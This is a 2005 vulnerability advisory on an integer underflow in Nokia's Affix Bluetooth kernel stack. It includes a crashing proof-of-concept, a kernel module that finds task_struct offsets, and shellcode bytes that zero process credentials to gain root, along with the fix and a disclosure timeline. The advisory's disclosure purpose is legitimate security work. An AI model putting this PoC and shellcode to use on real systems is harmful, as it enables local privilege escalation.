<<< Date Index >>>     <<< Thread Index >>>

DMA[2005-0423a] - 'Nokia Affix Bluetooth Integer Underflow'




DMA[2005-0423a] - 'Nokia Affix Bluetooth Integer Underflow'
Author: Kevin Finisterre
Vendor: http://www-nrc.nokia.com/affix/, http://affix.sourceforge.net
Product: 'affix-kernel'
References: 
http://www.digitalmunition.com/DMA[2005-0423a].txt

Description: 
Nokia believes that effective research and development is vital to remaining 
competitive in the 
mobile communications industry. As of December 31, 2004, they employed 20,722 
people in research 
and development centers in 12 countries. Nokia invests a substantial portion of 
its resources in 
research and development activities within its principal business groups as 
well as in the Nokia 
Research Center.

The Nokia Research Center acts as a link between basic industry research and 
product development. 
It responsible for the product development needs of Nokia's business groups, as 
well as for carrying 
out Nokia's longer-term research. 

In case you were currious the NRC looks pretty plushed out too!  
http://www.tsi.fi/nrc1_e.html, 
http://www.tsi.fi/nrc2_e.html

Affix is a Bluetooth Protocol Stack for Linux that was developed by the Nokia 
Research Center in 
Helsinki and released under GPL. Affix supports the core Bluetooth protocols 
like HCI, L2CAP 1.1, 
L2CAP 1.2, RFCOMM, SDP and various Bluetooth profiles. Affix consists of 
'affix-kernel' which 
provides kernel modules and 'affix' which provides control tools, libraries, 
and server daemons.

Although Nokia believes that Affix is an useful piece of software, please bear 
in mind that it is 
not an official Nokia product, but a result of the research activity of Nokia 
Research Center.

The following code was found in modules/btcore/hci.c from Affix. 

struct net_proto_family         *btprotos[BTPROTO_MAX];

int affix_sock_register(struct net_proto_family *pf, int protocol)
{
       if (protocol >= BTPROTO_MAX)
               return -EINVAL;
       if (btprotos[protocol])
               return -EEXIST;
       btprotos[protocol] = pf;
       return 0;
}

As you can see from this snippet, if a negative value is passed to the protocol 
variable the 
bounds checking for this function will be bypassed. Shortly after the bounds 
check the value
of the protocol variable is used as an index to an array. This vulnerability is 
very similar 
to the issue found by Ilja van Sprundel in the kernel-bluez package so it is 
likely that this
bug will result in a local root compromise. 

The following proof of concept code is enough to demonstrate the vulnerability. 

/*
        Nokia Affix Bluetooth Signed Buffer Index PoC
        - kf_lists[at]digitalmunition[dot]com
*/


#include <sys/socket.h>
#include <affix/bluetooth.h>
#include <affix/hci_cmds.h>
#include <affix/hci_types.h>

main()
{
       int ctl;


       if ((ctl = socket(PF_AFFIX, SOCK_RAW, -31337)) < 0)
       {
               perror("Something went wrong?");
               exit(1);
       }
}

kfinisterre@jdam:/tmp/affix-2.1.1$ cc -o bug bug.c
kfinisterre@jdam:/tmp/affix-2.1.1$ ./bug
Segmentation fault

Upon running the above code your kernel should 'Oops' as shown below:

Code:  Bad EIP value.
invalid operand: 0000
CPU:    0
EIP:    0010:[<bfffeeb2>]    Not tainted
EFLAGS: 00210282
eax: c83ea8e0   ebx: ffffad97   ecx: c83ea8e0   edx: c6000001
esi: 0000001b   edi: 00000003   ebp: c452df14   esp: c452c97c
ds: 0018   es: 0018   ss: 0018
Process bug (pid: 3329, stackpage=c452d000)
Stack: 203a726f 65756c62 0a7d0a3b 2031680a 20200a7b 70736964 3a79616c 6f6c6220
      0a3b6b63 6f662020 732d746e 3a657a69 6d653220 20200a3b 746e6f66 6965772d
      3a746867 6c6f6220 200a3b64 72616d20 3a6e6967 37362e20 30206d65 0a7d0a3b
Call Trace:    [<c01365ab>] [<c012f73d>] [<c0134ac1>] [<c012b469>] [<c012b587>]
 [<c01185d8>] [<c012b587>] [<c012e5ee>] [<c012eb90>] [<c02263e2>] [<c0118410>]
 [<c0108cfc>] [<c01254d9>] [<c01254d9>] [<c014c9ff>] [<c01254d9>] [<c014c9ff>]
 [<c014cae2>] [<c014cae2>] [<c01ac310>] [<c01244a6>] [<c01365ab>] [<c01209a2>]
 [<c01208b6>] [<c01367dc>] [<c012b6ab>] [<c012b587>] [<c01185d8>] [<c01254d9>]
 [<c011fac0>] [<c01244a6>] [<c0124a80>] [<c01209a2>] [<c01208b6>] [<c010a69a>]
 [<c0118410>] [<c0108cfc>] [<d7945a1c>] [<c01c0f7f>] [<c012c651>] [<c01c103b>]
 [<c01c1f18>] [<c0118410>] [<c0108cfc>] [<c0108c0b>]

qobaiashi was able to create a working exploit for the condition in 
kernel-bluez,
so as mentioned above it is likely that this bug will yeild local root. I 
attempted
to modify http://home.paf.net/qobaiashi/ong_bak.c in an effort to exploit this 
issue
but I did not have much luck. The kernel is obviously(!) not yet my playground. 
I have 
however included a few notes below that may help in developing an exploit for 
this 
condition. 

One problem I ran into when trying to modify ong_bak.c was that qobaiashi and I 
were 
not trying to exploit the same kernel version. I would need to modify his 
shellcode 
before anything would work. 

Since I don't really have the slightest clue about kernel exploitation I had to 
bug
both qobaiashi as well as some folks on a private mailing list for some help on 
fixing 
the shellcode. 

Philippe Biondi explained to me that qobaiashi's shellcode is 'quite simple', 
-q's shellcode
first finds the task_struct of the current process, next it finds the 
task_struct of the 
father process and finally it overwrites the uid, euid, suid and fsuid of these 
processes
with 0x00. This will effectively give both our exploit and our current shell 
root. 

I was told that in order for the shellcode that qobaiashi wrote to work I would 
need to 
calculate the offsets needed for my kernel version. <linux/sched.h> defines 
task_struct 
so we can just write a simple program to extract the offsets. 

/*
 * gcc -c -Wall -I /usr/src/kernel-source-2.4.27/include/ get_offsets.c
 */

#define __KERNEL__
#define MODULE
#include <linux/modversions.h>
#include <linux/module.h>
#include <linux/sched.h>

struct task_struct tsk;
int init_module()
{
        printk("task_struct offsets:\n");
        printk("tsk %p\n", &tsk);
        printk("tsk father %p\n", &tsk.p_pptr);
        printk("uid %p\n", &tsk.uid);
        printk("euid %p\n", &tsk.euid);
        printk("suid %p\n", &tsk.suid);
        printk("fsuid %p\n", &tsk.fsuid);
        return 0;
}
void cleanup_module()
{
        printk("Later bitches!\n");
}

Just compile the above code and insmod it into the kernel. 

jdam:/home/kfinisterre# gcc -c -Wall -I /usr/src/kernel-source-2.4.27/include/ 
get_offsets.c
jdam:/home/kfinisterre# insmod ./get_offsets.o
Warning: loading ./get_offsets.o will taint the kernel: no license
  See http://www.tux.org/lkml/#export-tainted for information about 
tainted modules
Module get_offsets loaded, with warnings
jdam:/home/kfinisterre# rmmod get_offsets
jdam:/home/kfinisterre# dmesg | tail -n 7
tsk d7931240
tsk father d79312d8 = 0x98
uid d793136c  = 0x12c
euid d7931370  = 0x130
suid d7931374  = 0x134
fsuid d7931378  = 0x138
Later Bitches!

The offsets 0x98 0x12c 0x130 0x134 and 0x138 can be plugged into -q's shellcode 
as follows.

//leave the next line out if only your exploit should become root
"\x8b\x80\x98\x00\x00\x00"//      mov    0x98(%eax),%eax  
eax=ptr-to->parents->task_struct
"\x89\xb0\x2c\x01\x00\x00"//      mov    %esi,0x12c(%eax)
"\x89\xb0\x30\x01\x00\x00"//      mov    %esi,0x130(%eax)
"\x89\xb0\x34\x01\x00\x00"//      mov    %esi,0x134(%eax)
"\x89\xb0\x38\x01\x00\x00"//      mov    %esi,0x138(%eax)

Several folks suggested that I look into http://oss.sgi.com/projects/kgdb/ in 
order to work 
on debugging and exploiting this issue. Unfortunately since I am too lazy to 
continue trying
to figure out how to get kgdb working there will be no exploit provided with 
this advisory. 
Hopefully these notes are of some use... enjoy. 

Workaround:
In bluez the issue was fixed via the following snippet. 
-       if (proto >= BLUEZ_MAX_PROTO)
+       if (proto < 0 || proto >= BLUEZ_MAX_PROTO)

I guess for Affix this should work...  
-       if (protocol >= BTPROTO_MAX)
+       if (protocol < 0 || protocol >= BTPROTO_MAX)

Official patches for Affix can be found at http://affix.sourceforge.net (on 
monday 04/25/2005)

This is basic timeline associated with this bug. 

03/27/2005 suresec.org releases bluez_sock_create() integer underflow
04/09/2005 str0ke dropped ong_bak on milw0rm - http://milw0rm.com/id.php?id=9260
04/16/2005 Mail to dmitry.kasatkin and charlos.chinea of Nokia to report the 
problem
04/18/2005 Carlos.Chinea stated that the bug will be 'fixed in the next release'
04/22/2005 Carlos.Chinea stated that he will pusblish the update on Monday, at 
latest

Both BlueZ and Affix appear to borrow code from each other so perhaps the moral 
of this 
story is be careful where you borrow code from.

Thanks to Philippe Biondi, mcb and qobaiashi for answering my dumb questions!
-KF